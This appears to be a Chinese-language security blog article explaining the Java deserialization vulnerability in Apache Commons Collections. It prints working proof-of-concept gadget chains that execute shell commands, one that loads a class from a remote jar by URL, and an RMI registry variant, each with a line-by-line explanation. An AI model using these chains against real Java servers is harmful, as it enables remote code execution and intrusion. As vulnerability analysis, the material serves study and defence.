Java反序列化漏洞詳解

作者：Manning 2016-09-21 00:15:27

安全漏洞

本文對于Java反序列化的漏洞簡述后，并對于Java反序列化的Poc進行詳細解讀。

[[171784]]

Java反序列化漏洞從爆出到現在快2個月了，已有白帽子實現了jenkins，weblogic，jboss等的代碼執行利用工具。本文對于Java反序列化的漏洞簡述后，并對于Java反序列化的Poc進行詳細解讀。

Java反序列化漏洞簡介

Java序列化就是把對象轉換成字節流，便于保存在內存、文件、數據庫中，Java中的ObjectOutputStream類的writeObject()方法可以實現序列化。
Java反序列化即逆過程，由字節流還原成對象。ObjectInputStream類的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞，需要在進行反序列化的地方傳入攻擊者的序列化代碼。能符合以上條件的地方即存在漏洞。

Java反序列化Poc詳解

public class test { 
    public static void main(String[] args) throws Exception { 
    String[] execArgs = new String[] { "sh", "-c", "whoami &gt; /tmp/fuck" }; 
    Transformer[] transformers = new Transformer[] { 
        new ConstantTransformer(Runtime.class), 
        new InvokerTransformer( 
            "getMethod",  
            new Class[] {String.class, Class[].class },  
            new Object[] {"getRuntime", new Class[0] } 
        ), 
        new InvokerTransformer( 
            "invoke",  
            new Class[] {Object.class,  
            Object[].class }, new Object[] {null, null } 
        ), 
        new InvokerTransformer( 
            "exec",  
            new Class[] {String[].class },  
            new Object[] { execArgs } 
        ) 
     }; 
    Transformer transformedChain = new ChainedTransformer(transformers); 
  
    Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;(); 
    BeforeTransformerMap.put("hello", "manning"); 
  
    Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 
  
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
  
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 
    ctor.setAccessible(true); 
    Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 
  
    File f = new File("temp.bin"); 
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 
    out.writeObject(instance); 
} 
}

如果想徹底理解上面的poc，需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包(jar包可以理解為python的庫)，具體jar包里面含有的內容，如下圖所示。

其中Java反序列化的問題出在org.apache.commons.collections這個庫里面。org.apache.commons.collections提供一個類包來擴展和增加標準的Java的collection框架，也就是說這些擴展也屬于collection的基本概念，只是功能不同罷了。Java中的collection可以理解為一組對象，collection里面的對象稱為collection的對象。具象的collection為set，list，queue等等。換一種理解方式，collection是set，list，queue的抽象，collection中文含義是收集的意思，那么收集的具體方式就可以是set，list，queue了。

在org.apache.commons.collections內提供了一個接口類叫Transformer，這個接口的英文定義為

Defines a functor interface implemented by classes that transform one object into another.

也就是說接口于Transformer的類都具備把一個對象轉化為另一個對象的功能。目前已知接口于Transformer的類，如下如所示。

圖上帶箭頭指示的為Java反序列化漏洞的poc含有的類。

ConstantTransformer

Transformer implementation that returns the same constant each time. (把一個對象轉化為常量，并返回)

InvokerTransformer

Transformer implementation that creates a new object instance by reflection. (通過反射，返回一個對象)

ChainedTransformer

Transformer implementation that chains the specified transformers together. (把一些transformer鏈接到一起，構成一組鏈條，對一個對象依次通過鏈條內的每一個transformer進行轉換)

有了以上的相關概念，就可以理解最開始的poc了。poc里面，我們一共創建了以下關鍵對象。

execArgs

待執行的命令數組

transformers

一個transformer鏈，包含預設轉化邏輯(各類transformer對象)的轉化數組

transformedChain

ChainedTransformer類對象，傳入transformers數組，可以按照transformers數組的邏輯執行轉化操作

BeforeTransformerMap

Map數據結構，轉換前的Map，Map數據結構內的對象是鍵值對形式，類比于python的dict理解即可

AfterTransformerMap

Map數據結構，轉換后的Map

整個poc的邏輯可以這么理解，構建了BeforeTransformerMap的鍵值對，為其賦值，利用TransformedMap的decorate方法，可以對Map數據結構的key，value進行transforme。

TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化，該方法有三個參數。第一個參數為待轉化的Map對象，第二個參數為Map對象內的key要經過的轉化方法(可為單個方法，也可為鏈，也可為空)，第三個參數為Map對象內的value要經過的轉化方法。

TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));

上圖是調試時的轉換變量內容，可以很清楚地看到執行完poc后，已經對Map的value進行了轉換(過了一遍transformer鏈)。

poc中對BeforeTransformerMap的value進行轉換，當BeforeTransformerMap的value執行完一個完整轉換鏈，就完成了命令執行。

在進行反序列化時，我們會調用ObjectInputStream類的readObject()方法。如果被反序列化的類重寫了readObject()，那么該類在進行反序列化時，Java會優先調用重寫的readObject()方法。

結合前述Commons Collections的特性，如果某個可序列化的類重寫了readObject()方法，并且在readObject()中對Map類型的變量進行了鍵值修改操作，并且這個Map變量是可控的，就可以實現我們的攻擊目標了。

因此我們在poc中看見了下行的代碼。

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

這個類完全符合我們的要求，具體解釋可以查看TSRC的文章。

如果要實現一個可控的poc，需要對transformer鏈的構造進行理解。首先來看InvokerTransformer。

InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)

參數依次為：方法名稱，參數類型，參數對象我們找其中一個來看下。

new InvokerTransformer( 
    "getMethod",  
    new Class[]  {String.class, Class[].class },  
    new Object[] {"getRuntime", new Class[0] } 
), 
new InvokerTransformer( 
    "invoke",  
    new Class[] {Object.class, Object[].class },  
    new Object[] {null, null } 
), 
new InvokerTransformer( 
    "exec",  
    new Class[] {String.class },  
    new Object[] {"gedit"} 
)

參數類型里面的內容完全對應于參數對象里的內容。

PS：由于Method類的invoke(Object obj,Object args[])方法的定義，所以在反射內寫new Class[] {Object.class, Object[].class }。

所以正常流程如下所示：

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");

基于報錯的反序列化transformer鏈

Transformer[] transformers = new Transformer[] { 
new ConstantTransformer(Java.net.URLClassLoader.class), 
new InvokerTransformer( 
    "getConstructor",  
    new Class[] {Class[].class},  
    new Object[] {new Class[]{Java.net.URL[].class}} 
), 
new InvokerTransformer( 
    "newInstance",  
    new Class[] {Object[].class},  
    new Object[] { new Object[] { new Java.net.URL[] { new Java.net.URL(url) }}} 
), 
new InvokerTransformer( 
    "loadClass", 
    new Class[] { String.class },  
    new Object[] { "ErrorBaseExec" } 
), 
new InvokerTransformer( 
    "getMethod", 
    new Class[]{String.class, Class[].class},  
    new Object[]{"do_exec", new Class[]{String.class}} 
), 
new InvokerTransformer( 
    "invoke", 
    new Class[]{Object.class, Object[].class},  
    new Object[]{null, new String[]{cmd}} 
) 
};

有了先前的理解，很明了了。先建立一個讀取遠程jar文件的類 URLClassLoader，實例化這個類，傳入要訪問的url，再讀取遠程加載類，接著獲取類方法，然后反射這個方法。

關于RMI利用的相關內容

tang3已經在RMI利用文章講過怎么利用了，這段內容，我只是詳解下給出的poc的原理。

poc部分內容

Transformer transformedChain = new ChainedTransformer(transformers); 
  
Map BeforeTransformerMap = new HashMap(); 
innerMap.put("value", "value"); 
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 
  
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 
ctor.setAccessible(true); 
Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 
  
InvocationHandler h = (InvocationHandler) instance; 
Remote r = Remote.class.cast(Proxy.newProxyInstance( 
                        Remote.class.getClassLoader(),  
                        new Class[]{Remote.class},  
                        h)); 
try{ 
Registry registry = LocateRegistry.getRegistry(ip, port); 
registry.rebind("", r); // r is remote obj 
} 
catch (Throwable e) { 
e.printStackTrace(); 
}

RMI利用的poc看上去還是很熟悉的，因為到建立instance時，還和之前的內容一致。之后便到了RMI內容獨有的細節，從代碼角度可以看出利用邏輯為：

建立實例對象instance
實例對象instance 轉化為 InvocationHandler類型的句柄h(因為instance是序列化后的內容，所以instance就是一串數據)
把句柄h附載到Remote類實例 r上
向遠程服務器注冊，得到遠程注冊對象 registry
向遠程注冊對象registry注冊實例r

在Java的RMI中，我們允許向遠程已運行的jvm虛擬環境中綁定(rebind函數，也可以理解為添加)一些實例對象，通過RMI協議傳輸一些序列化好的內容，這樣服務端解析(也就是反序列化)傳過來的數據后，便可把解析后的內容添加到運行環境中。構造remote類型實例r 方法很多，poc中利用動態代理創建remote實例r是方法之一。

因此涉及RMI的代碼也會存在Java反序列化漏洞。

漏洞影響分析

Java反序列化漏洞從爆出到現在快2個月了。最開始的只能命令執行和反彈shell，到后來的有回顯的命令執行，到最終的代碼執行，利用上來是越來越方便(有回顯的命令執行和代碼執行均為利用遠程jar文件的利用形式)。從微博來看，已有白帽子實現了jenkins，weblogic，jboss等的代碼執行利用工具。待最終利用工具公布，此漏洞還會有一個上升趨勢的影響。

資料引用

http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
http://security.tencent.com/index.php/blog/msg/97
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
http://www.infoq.com/cn/articles/cf-java-object-serialization-rmi
http://blog.nsfocus.net/learning-guide-java-serialization-de-serialization-vulnerability-remediation/
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/

責任編輯：趙寧寧來源：綠盟科技博客

Java反序列化漏洞